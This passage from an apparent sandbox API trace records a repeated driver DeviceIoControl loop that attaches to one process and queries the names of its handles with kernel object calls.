lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.062] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.062] PsAcquireProcessExitSynchronization () returned 0x0 [0093.062] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.062] ObReferenceObjectByHandle (in: Handle=0x6e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002094180, HandleInformation=0x0) returned 0x0 [0093.062] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.062] PsReleaseProcessExitSynchronization () returned 0x2 [0093.062] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.062] ObQueryNameString (in: Object=0xfffff8a002094180, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0093.062] ObfDereferenceObject (Object=0xfffff8a002094180) returned 0x1 [0093.062] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.062] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.062] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.062] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.062] PsAcquireProcessExitSynchronization () returned 0x0 [0093.062] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.062] ObReferenceObjectByHandle (in: Handle=0x704, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00208d060, HandleInformation=0x0) returned 0x0 [0093.062] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.062] PsReleaseProcessExitSynchronization () returned 0x2 [0093.062] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.062] ObQueryNameString (in: Object=0xfffff8a00208d060, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.062] ObfDereferenceObject (Object=0xfffff8a00208d060) returned 0x1 [0093.062] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.063] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.063] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.063] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.063] PsAcquireProcessExitSynchronization () returned 0x0 [0093.063] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.063] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001e158c0, HandleInformation=0x0) returned 0x0 [0093.063] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.063] PsReleaseProcessExitSynchronization () returned 0x2 [0093.063] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.063] ObQueryNameString (in: Object=0xfffff8a001e158c0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.063] ObfDereferenceObject (Object=0xfffff8a001e158c0) returned 0x1 [0093.063] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.063] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.063] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.063] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.063] PsAcquireProcessExitSynchronization () returned 0x0 [0093.063] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.063] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001ba99f0, HandleInformation=0x0) returned 0x0 [0093.063] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.063] PsReleaseProcessExitSynchronization () returned 0x2 [0093.063] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.063] ObQueryNameString (in: Object=0xfffff8a001ba99f0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.063] ObfDereferenceObject (Object=0xfffff8a001ba99f0) returned 0x1 [0093.063] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.063] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.063] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.063] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.063] PsAcquireProcessExitSynchronization () returned 0x0 [0093.063] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.063] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00226c630, HandleInformation=0x0) returned 0x0 [0093.064] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.064] PsReleaseProcessExitSynchronization () returned 0x2 [0093.064] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.064] ObQueryNameString (in: Object=0xfffff8a00226c630, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.064] ObfDereferenceObject (Object=0xfffff8a00226c630) returned 0x1 [0093.064] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.064] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.064] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.064] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.064] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.064] PsAcquireProcessExitSynchronization () returned 0x0 [0093.064] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.064] ObReferenceObjectByHandle (in: Handle=0x72c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00231a470, HandleInformation=0x0) returned 0x0 [0093.064] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.064] PsReleaseProcessExitSynchronization () returned 0x2 [0093.064] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.064] ObQueryNameString (in: Object=0xfffff8a00231a470, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.064] ObfDereferenceObject (Object=0xfffff8a00231a470) returned 0x1 [0093.064] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.064] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.064] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.064] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.064] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.064] PsAcquireProcessExitSynchronization () returned 0x0 [0093.064] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.064] ObReferenceObjectByHandle (in: Handle=0x730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00207bf40, HandleInformation=0x0) returned 0x0 [0093.064] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.064] PsReleaseProcessExitSynchronization () returned 0x2 [0093.064] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.064] ObQueryNameString (in: Object=0xfffff8a00207bf40, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.064] ObfDereferenceObject (Object=0xfffff8a00207bf40) returned 0x1 [0093.064] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.065] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.065] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.065] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.065] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.065] PsAcquireProcessExitSynchronization () returned 0x0 [0093.065] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.065] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002339680, HandleInformation=0x0) returned 0x0 [0093.065] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.065] PsReleaseProcessExitSynchronization () returned 0x2 [0093.065] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.065] ObQueryNameString (in: Object=0xfffff8a002339680, ObjectNameInfo=0xfffffa800399a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800399a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.065] ObfDereferenceObject (Object=0xfffff8a002339680) returned 0x1 [0093.065] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.065] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.065] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.065] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.065] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.065] PsAcquireProcessExitSynchronization () returned 0x0 [0093.065] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.065] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00234e060, HandleInformation=0x0) returned 0x0 [0093.065] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.065] PsReleaseProcessExitSynchronization () returned 0x2 [0093.065] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.065] ObQueryNameString (in: Object=0xfffff8a00234e060, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.065] ObfDereferenceObject (Object=0xfffff8a00234e060) returned 0x1 [0093.065] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.065] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.065] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.065] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.065] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.065] PsAcquireProcessExitSynchronization () returned 0x0 [0093.065] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.066] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0023488a0, HandleInformation=0x0) returned 0x0 [0093.066] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.066] PsReleaseProcessExitSynchronization () returned 0x2 [0093.066] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.066] ObQueryNameString (in: Object=0xfffff8a0023488a0, ObjectNameInfo=0xfffffa8003923044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003923044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.066] ObfDereferenceObject (Object=0xfffff8a0023488a0) returned 0x1 [0093.066] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.066] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.066] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.066] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.066] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.066] PsAcquireProcessExitSynchronization () returned 0x0 [0093.066] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.066] ObReferenceObjectByHandle (in: Handle=0x748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002341950, HandleInformation=0x0) returned 0x0 [0093.066] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.066] PsReleaseProcessExitSynchronization () returned 0x2 [0093.066] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.066] ObQueryNameString (in: Object=0xfffff8a002341950, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.066] ObfDereferenceObject (Object=0xfffff8a002341950) returned 0x1 [0093.066] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.066] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.066] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.066] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.066] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.066] PsAcquireProcessExitSynchronization () returned 0x0 [0093.066] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.066] ObReferenceObjectByHandle (in: Handle=0x754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00235a630, HandleInformation=0x0) returned 0x0 [0093.066] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.066] PsReleaseProcessExitSynchronization () returned 0x2 [0093.066] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.066] ObQueryNameString (in: Object=0xfffff8a00235a630, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.066] ObfDereferenceObject (Object=0xfffff8a00235a630) returned 0x1 [0093.066] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.066] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.067] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.067] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.067] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.067] PsAcquireProcessExitSynchronization () returned 0x0 [0093.067] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.067] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0021d13f0, HandleInformation=0x0) returned 0x0 [0093.067] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.067] PsReleaseProcessExitSynchronization () returned 0x2 [0093.067] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.067] ObQueryNameString (in: Object=0xfffff8a0021d13f0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.067] ObfDereferenceObject (Object=0xfffff8a0021d13f0) returned 0x1 [0093.067] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.067] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.067] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.067] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.067] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.067] PsAcquireProcessExitSynchronization () returned 0x0 [0093.067] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.067] ObReferenceObjectByHandle (in: Handle=0x77c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002343140, HandleInformation=0x0) returned 0x0 [0093.067] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.067] PsReleaseProcessExitSynchronization () returned 0x2 [0093.067] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.067] ObQueryNameString (in: Object=0xfffff8a002343140, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.067] ObfDereferenceObject (Object=0xfffff8a002343140) returned 0x1 [0093.067] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.067] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.067] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.067] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.067] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.067] PsAcquireProcessExitSynchronization () returned 0x0 [0093.067] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.067] ObReferenceObjectByHandle (in: Handle=0x8a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0028063e0, HandleInformation=0x0) returned 0x0 [0093.067] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.068] PsReleaseProcessExitSynchronization () returned 0x2 [0093.068] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.068] ObQueryNameString (in: Object=0xfffff8a0028063e0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.068] ObfDereferenceObject (Object=0xfffff8a0028063e0) returned 0x1 [0093.068] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.068] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.068] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.068] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.068] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.068] PsAcquireProcessExitSynchronization () returned 0x0 [0093.068] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.068] ObReferenceObjectByHandle (in: Handle=0x8c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002633fc0, HandleInformation=0x0) returned 0x0 [0093.068] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.068] PsReleaseProcessExitSynchronization () returned 0x2 [0093.068] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.068] ObQueryNameString 